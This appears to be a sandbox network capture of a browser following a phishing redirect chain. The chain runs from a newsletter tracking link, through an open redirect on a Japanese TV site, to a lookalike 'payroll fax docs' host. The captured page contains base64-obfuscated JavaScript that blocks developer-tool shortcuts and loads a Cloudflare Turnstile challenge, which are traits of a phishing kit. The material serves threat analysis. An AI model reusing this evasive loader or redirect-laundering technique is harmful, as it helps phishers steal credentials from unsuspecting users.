text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:22:55 UTC	815	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 14 Feb 2025 16:22:55 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 710 Connection: close Set-Cookie: ENC_ccjump=PZaVY%2bNp1gdXUgl3sB79DTOUWPybKfMxv3Dd7ApcKQw%3d; expires=Sat, 15-Feb-2025 23:59:59; HttpOnly Location: https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA
2025-02-14 16:22:55 UTC	710	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 6e 6b 2e 6d 61 69 6c 2e 62 65 65 68 69 69 76 2e 63 6f 6d 2f 73 73 2f 63 2f 75 30 30 31 2e 73 64 53 33 65 57 70 6a 75 64 4e 37 66 54 70 36 39 49 43 39 58 54 39 4f 63 56 61 37 33 7a 59 7a 55 74 39 72 72 4c 79 6e 4a 6d 7a 39 5a 53 58 6e 39 41 55 4e 41 64 57 75 74 41 2d 43 34 64 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49717	104.18.68.40	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:22:55 UTC	1160	OUT	GET /ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA HTTP/1.1 Host: link.mail.beehiiv.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:22:56 UTC	832	IN	HTTP/1.1 302 Found Date: Fri, 14 Feb 2025 16:22:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://www.fukui-tv.co.jp/_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1 X-Robots-Tag: noindex, nofollow cf-cache-status: DYNAMIC Set-Cookie: __cf_bm=JE005X0Wvn_7lPSoijdjU8YHnklP0vhvy3n2IjTzIbQ-1739550176-1.0.1.1-1vFFv_RamryeWdHi8UBF9__bpNs9qrXgf8s0_rb.5xVF8mIUVA6qI..voB_kFu8rG17ybjFEYLYDk.VR1J2G.g; path=/; expires=Fri, 14-Feb-25 16:52:56 GMT; domain=.beehiiv.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 911e66583f784406-EWR
2025-02-14 16:22:56 UTC	349	IN	Data Raw: 31 35 36 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 75 6b 75 69 2d 74 76 2e 63 6f 2e 6a 70 2f 5f 63 6c 69 63 6b 2e 70 68 70 3f 69 64 3d 38 33 36 34 32 26 61 6d 70 3b 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 50 61 79 72 6f 6c 6c 66 61 78 64 6f 63 73 2d 73 68 61 72 65 64 2d 65 6d 70 6c 6f 79 49 44 36 32 33 37 32 36 32 37 32 31 2e 64 65 6c 69 62 65 72 61 74 65 39 2e 63 6f 6d 25 32 46 71 5a 77 49 4f 4a 49 37 63 4a 4d 63 66 54 47 59 53 54 6b 25 32 46 26 61 6d 70 3b 6d 6f 64 65 3d 6c 69 6e 6b 26 61 6d 70 3b 75 74 6d 5f 73 6f 75 72 63 65 3d 65 76 61 73 2d 6e 65 77 73 6c 65 74 74 65 72 2d 30 34 32 66 39 30 2e 62 65 65 68 69 69 76 2e 63 6f 6d 26 61 6d 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 6e 65 77 73 6c 65 74 74 65 72 26 Data Ascii: 156<a href="https://www.fukui-tv.co.jp/_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&
2025-02-14 16:22:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49720	3.160.150.47	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:22:59 UTC	929	OUT	GET /_click.php?id=83642&url=https%3A%2F%2FPayrollfaxdocs-shared-employID6237262721.deliberate9.com%2FqZwIOJI7cJMcfTGYSTk%2F&mode=link&utm_source=evas-newsletter-042f90.beehiiv.com&utm_medium=newsletter&utm_campaign=self-love&_bhlid=c369d7d1f059b06973116b83fbb5ca11132108a1 HTTP/1.1 Host: www.fukui-tv.co.jp Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:00 UTC	1110	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Date: Fri, 14 Feb 2025 16:22:59 GMT X-Content-Type-Options: nosniff Set-Cookie: AWSALB=39LXBgCZXhAOJzRfLlHhGu2S6bRoBpWwoAoic+VHNolNUtYcKIzdhh+asr/DQbxdmLus2B/kDLALZpfuYzjACdl1a6u5W/uFIUoy5RuAYSbvZ5jXjV0mN+ccli4r; Expires=Fri, 21 Feb 2025 16:22:59 GMT; Path=/ Set-Cookie: AWSALBCORS=39LXBgCZXhAOJzRfLlHhGu2S6bRoBpWwoAoic+VHNolNUtYcKIzdhh+asr/DQbxdmLus2B/kDLALZpfuYzjACdl1a6u5W/uFIUoy5RuAYSbvZ5jXjV0mN+ccli4r; Expires=Fri, 21 Feb 2025 16:22:59 GMT; Path=/; SameSite=None; Secure Server: Apache Expires: Fri, 07 Feb 2025 16:22:59 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-XSS-Protection: 1; mode=block Last-Modified: Fri, 14 Feb 2025 16:22:59 GMT Location: https://Payrollfaxdocs-shared-employID6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/ X-Frame-Options: SAMEORIGIN X-Cache: Miss from cloudfront Via: 1.1 0833e8be76641de099b8f4a92c7a1c4e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P7 X-Amz-Cf-Id: ELXWZkFf5lBqTaKBhzu5OWQo3uMmjzNajwHd1NI_CIUpdXs4vLFyaQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49722	188.114.97.3	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:00 UTC	719	OUT	GET /qZwIOJI7cJMcfTGYSTk/ HTTP/1.1 Host: payrollfaxdocs-shared-employid6237262721.deliberate9.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:01 UTC	1246	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rkpg%2B4jnC3WKr5%2FMQ85u0%2FSwz9w6R9Li1zzuYmVUdGkvurAU%2BWTq6DFY4VMTI1TqTOubKXtSvsvqKbe6zFF4Vx0uwvTLPL79xQfFXfujvwyFXYeqRiL%2F1YCReOOnyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1128&min_rtt=1051&rtt_var=350&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1614&delivery_rate=2433613&cwnd=251&unsent_bytes=0&cid=575ea1c8f271a5cb&ts=161&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjN5a1hIaEJXcUNXYkRIVVdVK1ZsWEE9PSIsInZhbHVlIjoiM01tWjJRc2RsNi9nQ0I5SnExZlo3a3BSYzhwNWtoWTJTblBJOUJUNm0rcFloaU93QW4zL3RFWHRaMEYycURXNUdidXUwalZmNStWWWFPMXlvOVh2cXVHRExhZ0Fac1htSUpQbE5HRklRckx6Nkx2WjJadFN0WFc2Y0hxR3IzU0MiLCJtYWMiOiI1OWY3OGFmN2JhOTBlYzI2YzljZmUzZTg3MGMzYTQwNjc5NjZlMDk2ZDk1NTliZWIwY2Y0YzM0ZjkyYWNiZDAxIiwidGFnIjoiIn0%3D; expires=Fri, 14-Feb-2025 18:23:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-02-14 16:23:01 UTC	731	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 38 31 52 33 64 6c 61 7a 5a 42 4b 7a 4e 30 61 56 46 59 52 6b 78 35 51 58 4a 5a 5a 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 30 46 76 62 57 78 4d 57 6d 56 35 65 6e 41 32 53 6a 52 36 63 57 74 45 62 7a 4e 74 4c 31 63 79 59 6d 4e 44 59 57 6b 35 4f 45 63 30 5a 46 52 46 53 54 4e 72 54 45 4a 4e 56 6e 46 70 53 6b 31 5a 53 57 4e 61 56 58 64 32 4d 32 4e 35 51 6b 64 77 54 45 6f 79 4d 47 31 6b 4d 46 6c 4c 54 45 55 7a 56 6c 42 31 61 33 6c 36 63 6a 63 78 4c 30 39 7a 55 6d 34 77 52 33 49 7a 53 45 74 51 51 6c 70 6b 63 44 52 4d 62 30 6f 79 5a 6e 70 73 65 57 31 4d 4d 57 59 31 59 6b 30 76 64 6a 56 4f 59 30 78 49 63 6c 67 72 5a 6e 6c 4e 4e 6e 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im81R3dlazZBKzN0aVFYRkx5QXJZZnc9PSIsInZhbHVlIjoiV0FvbWxMWmV5enA2SjR6cWtEbzNtL1cyYmNDYWk5OEc0ZFRFSTNrTEJNVnFpSk1ZSWNaVXd2M2N5QkdwTEoyMG1kMFlLTEUzVlB1a3l6cjcxL09zUm4wR3IzSEtQQlpkcDRMb0oyZnpseW1MMWY1Yk0vdjVOY0xIclgrZnlNNnM
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 36 38 31 39 0d 0a 3c 21 2d 2d 20 54 68 65 20 73 74 61 72 74 69 6e 67 20 70 6f 69 6e 74 20 6f 66 20 61 6c 6c 20 61 63 68 69 65 76 65 6d 65 6e 74 20 69 73 20 64 65 73 69 72 65 2e 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 0a 65 5a 48 75 6b 51 58 41 6b 51 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 55 64 69 35 6b 5a 57 78 70 59 6d 56 79 59 58 52 6c 4f 53 35 6a 62 32 30 76 63 56 70 33 53 55 39 4b 53 54 64 6a 53 6b 31 6a 5a 6c 52 48 57 56 4e 55 61 79 38 3d 22 29 3b 0a 68 61 46 73 48 49 41 42 61 5a 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 69 66 28 65 5a 48 75 6b 51 58 41 6b 51 20 3d 3d 20 68 61 46 73 48 49 41 42 61 5a 29 7b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f Data Ascii: 6819... The starting point of all achievement is desire. --><script>eZHukQXAkQ = atob("aHR0cHM6Ly9Udi5kZWxpYmVyYXRlOS5jb20vcVp3SU9KSTdjSk1jZlRHWVNUay8=");haFsHIABaZ = atob("bm9tYXRjaA==");if(eZHukQXAkQ == haFsHIABaZ){document.write(decodeURICompo
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 6a 63 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 51 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 55 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 Data Ascii: bnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8CiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzQpIHx8CiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8CiAgICAgICAgKGV2ZW5
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 43 41 67 49 48 30 4b 49 43 41 67 49 48 30 73 49 44 45 77 4d 43 6b 37 43 6e 30 70 4b 43 6b 37 43 69 41 67 49 43 41 38 4c 33 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 63 33 4a 6a 50 53 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 4e 76 5a 47 55 75 61 6e 46 31 5a 58 4a 35 4c 6d 4e 76 62 53 39 71 63 58 56 6c 63 6e 6b 74 4d 79 34 32 4c 6a 41 75 62 57 6c 75 4c 6d 70 7a 49 6a 34 38 4c 33 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 63 33 4a 6a 50 53 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 76 64 48 56 79 62 6e 4e 30 61 57 78 6c 4c 33 59 77 4c 32 46 77 61 53 35 71 63 7a 39 76 62 6d 78 76 59 57 51 39 62 32 35 73 Data Ascii: CAgIH0KICAgIH0sIDEwMCk7Cn0pKCk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjAubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20vdHVybnN0aWxlL3YwL2FwaS5qcz9vbmxvYWQ9b25s
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 56 74 4c 58 56 70 4c 47 4a 73 61 57 35 72 62 57 46 6a 63 33 6c 7a 64 47 56 74 5a 6d 39 75 64 43 78 54 5a 57 64 76 5a 53 42 56 53 53 78 79 62 32 4a 76 64 47 38 73 62 33 68 35 5a 32 56 75 4c 48 56 69 64 57 35 30 64 53 78 49 5a 57 78 32 5a 58 52 70 59 32 45 67 54 6d 56 31 5a 53 78 68 63 6d 6c 68 62 43 78 7a 59 57 35 7a 4c 58 4e 6c 63 6d 6c 6d 4f 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 78 4e 48 42 34 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 51 77 4d 44 73 74 64 32 56 69 61 32 6c 30 4c 57 5a 76 62 6e 51 74 63 32 31 76 62 33 52 6f 61 57 35 6e 4f 6d 46 75 64 47 6c 68 62 47 6c 68 63 32 56 6b 4f 32 5a 76 62 6e 51 74 63 33 52 35 62 47 55 36 62 6d 39 79 62 57 46 73 4f 33 30 4b 63 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 6d 4e 6c 62 6e 52 6c 63 Data Ascii: VtLXVpLGJsaW5rbWFjc3lzdGVtZm9udCxTZWdvZSBVSSxyb2JvdG8sb3h5Z2VuLHVidW50dSxIZWx2ZXRpY2EgTmV1ZSxhcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjQwMDstd2Via2l0LWZvbnQtc21vb3RoaW5nOmFudGlhbGlhc2VkO2ZvbnQtc3R5bGU6bm9ybWFsO30KcHt0ZXh0LWFsaWduOmNlbnRlc
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 79 49 43 35 78 51 56 64 77 5a 47 64 6d 59 55 68 71 63 33 46 55 57 6e 5a 4e 5a 6b 4a 53 55 32 52 52 59 6e 70 37 59 6d 39 34 4c 58 4e 6f 59 57 52 76 64 7a 70 70 62 6e 4e 6c 64 43 41 77 49 44 41 67 4d 43 41 6a 4d 44 4d 34 4d 54 49 33 4f 33 30 4b 49 33 70 33 5a 32 46 49 63 31 42 44 54 57 74 52 56 48 4e 33 55 47 39 78 62 6c 64 43 63 69 41 75 63 55 46 58 63 47 52 6e 5a 6d 46 49 61 6e 4e 78 56 46 70 32 54 57 5a 43 55 6c 4e 6b 55 57 4a 36 65 33 4e 30 63 6d 39 72 5a 53 31 6b 59 58 4e 6f 59 58 4a 79 59 58 6b 36 4d 6a 51 79 4f 33 4e 30 63 6d 39 72 5a 53 31 6b 59 58 4e 6f 62 32 5a 6d 63 32 56 30 4f 6a 49 30 4d 6a 74 68 62 6d 6c 74 59 58 52 70 62 32 34 36 63 33 52 79 62 32 74 6c 49 43 34 30 63 79 42 6a 64 57 4a 70 59 79 31 69 5a 58 70 70 5a 58 49 6f 4c 6a 59 31 4c 44 Data Ascii: yIC5xQVdwZGdmYUhqc3FUWnZNZkJSU2RRYnp7Ym94LXNoYWRvdzppbnNldCAwIDAgMCAjMDM4MTI3O30KI3p3Z2FIc1BDTWtRVHN3UG9xbldCciAucUFXcGRnZmFIanNxVFp2TWZCUlNkUWJ6e3N0cm9rZS1kYXNoYXJyYXk6MjQyO3N0cm9rZS1kYXNob2Zmc2V0OjI0MjthbmltYXRpb246c3Ryb2tlIC40cyBjdWJpYy1iZXppZXIoLjY1LD
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 4e 6a 59 37 63 33 52 79 62 32 74 6c 4c 58 64 70 5a 48 52 6f 4f 6a 49 37 63 33 52 79 62 32 74 6c 4c 57 31 70 64 47 56 79 62 47 6c 74 61 58 51 36 4d 54 41 37 63 33 52 79 62 32 74 6c 4f 69 4e 6b 5a 54 45 7a 4d 44 4d 37 5a 6d 6c 73 62 44 6f 6a 5a 47 55 78 4d 7a 41 7a 4f 32 46 75 61 57 31 68 64 47 6c 76 62 6a 70 7a 64 48 4a 76 61 32 55 67 4c 6a 5a 7a 49 47 4e 31 59 6d 6c 6a 4c 57 4a 6c 65 6d 6c 6c 63 69 67 75 4e 6a 55 73 4d 43 77 75 4e 44 55 73 4d 53 6b 67 5a 6d 39 79 64 32 46 79 5a 48 4d 37 66 51 6f 75 64 6d 74 36 57 6d 68 6a 55 55 35 46 65 32 5a 70 62 47 77 36 49 32 5a 6d 5a 6a 74 30 63 6d 46 75 63 32 5a 76 63 6d 30 74 62 33 4a 70 5a 32 6c 75 4f 6d 4a 76 64 48 52 76 62 53 42 6a 5a 57 35 30 5a 58 49 37 66 51 6f 75 64 6d 74 36 57 6d 68 6a 55 55 35 46 65 32 46 Data Ascii: NjY7c3Ryb2tlLXdpZHRoOjI7c3Ryb2tlLW1pdGVybGltaXQ6MTA7c3Ryb2tlOiNkZTEzMDM7ZmlsbDojZGUxMzAzO2FuaW1hdGlvbjpzdHJva2UgLjZzIGN1YmljLWJlemllciguNjUsMCwuNDUsMSkgZm9yd2FyZHM7fQoudmt6WmhjUU5Fe2ZpbGw6I2ZmZjt0cmFuc2Zvcm0tb3JpZ2luOmJvdHRvbSBjZW50ZXI7fQoudmt6WmhjUU5Fe2F
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 69 4e 6d 5a 6d 59 37 59 6d 39 79 5a 47 56 79 4f 6a 4a 77 65 43 42 7a 62 32 78 70 5a 43 41 6a 4e 6d 51 32 5a 44 5a 6b 4f 32 4a 76 63 6d 52 6c 63 69 31 79 59 57 52 70 64 58 4d 36 4d 33 42 34 4f 32 4a 76 65 43 31 7a 61 58 70 70 62 6d 63 36 59 6d 39 79 5a 47 56 79 4c 57 4a 76 65 44 74 6e 63 6d 6c 6b 4c 57 46 79 5a 57 45 36 4d 53 38 78 4f 32 68 6c 61 57 64 6f 64 44 6f 79 4e 48 42 34 4f 33 52 79 59 57 35 7a 61 58 52 70 62 32 34 36 59 57 78 73 49 43 34 78 63 79 42 6c 59 58 4e 6c 4c 57 6c 75 4f 33 64 70 5a 48 52 6f 4f 6a 49 30 63 48 67 37 65 69 31 70 62 6d 52 6c 65 44 6f 35 4f 54 6b 34 4f 33 30 4b 4c 6d 74 6f 64 6b 35 33 56 30 64 7a 55 56 56 6f 54 6c 64 6b 65 6b 35 4b 49 43 35 6a 59 69 31 70 4f 6d 46 6d 64 47 56 79 65 32 4a 76 63 6d 52 6c 63 69 31 79 59 57 52 70 Data Ascii: iNmZmY7Ym9yZGVyOjJweCBzb2xpZCAjNmQ2ZDZkO2JvcmRlci1yYWRpdXM6M3B4O2JveC1zaXppbmc6Ym9yZGVyLWJveDtncmlkLWFyZWE6MS8xO2hlaWdodDoyNHB4O3RyYW5zaXRpb246YWxsIC4xcyBlYXNlLWluO3dpZHRoOjI0cHg7ei1pbmRleDo5OTk4O30KLmtodk53V0dzUVVoTldkek5KIC5jYi1pOmFmdGVye2JvcmRlci1yYWRp
2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 42 55 56 6e 4a 59 5a 6c 56 74 64 6c 5a 37 63 33 52 79 62 32 74 6c 4c 58 64 70 5a 48 52 6f 4f 6a 4e 77 65 44 74 7a 64 48 4a 76 61 32 55 74 62 47 6c 75 5a 57 4e 68 63 44 70 79 62 33 56 75 5a 44 74 7a 64 48 4a 76 61 32 55 36 49 7a 41 7a 4f 44 45 79 4e 7a 74 7a 64 48 4a 76 61 32 55 74 5a 47 46 7a 61 47 46 79 63 6d 46 35 4f 6a 41 73 4d 54 41 77 4c 44 41 37 63 33 52 79 62 32 74 6c 4c 57 52 68 63 32 68 76 5a 6d 5a 7a 5a 58 51 36 4d 6a 41 77 4f 33 4e 30 63 6d 39 72 5a 53 31 74 61 58 52 6c 63 6d 78 70 62 57 6c 30 4f 6a 45 37 63 33 52 79 62 32 74 6c 4c 57 78 70 62 6d 56 71 62 32 6c 75 4f 6e 4a 76 64 57 35 6b 4f 33 30 4b 4c 6e 46 44 56 33 6c 78 59 55 4a 6b 61 6b 4e 69 63 56 64 6c 65 32 4a 76 63 6d 52 6c 63 69 31 7a 63 47 46 6a 61 57 35 6e 4f 6a 41 37 66 51 6f 75 63 Data Ascii: BUVnJYZlVtdlZ7c3Ryb2tlLXdpZHRoOjNweDtzdHJva2UtbGluZWNhcDpyb3VuZDtzdHJva2U6IzAzODEyNztzdHJva2UtZGFzaGFycmF5OjAsMTAwLDA7c3Ryb2tlLWRhc2hvZmZzZXQ6MjAwO3N0cm9rZS1taXRlcmxpbWl0OjE7c3Ryb2tlLWxpbmVqb2luOnJvdW5kO30KLnFDV3lxYUJkakNicVdle2JvcmRlci1zcGFjaW5nOjA7fQouc
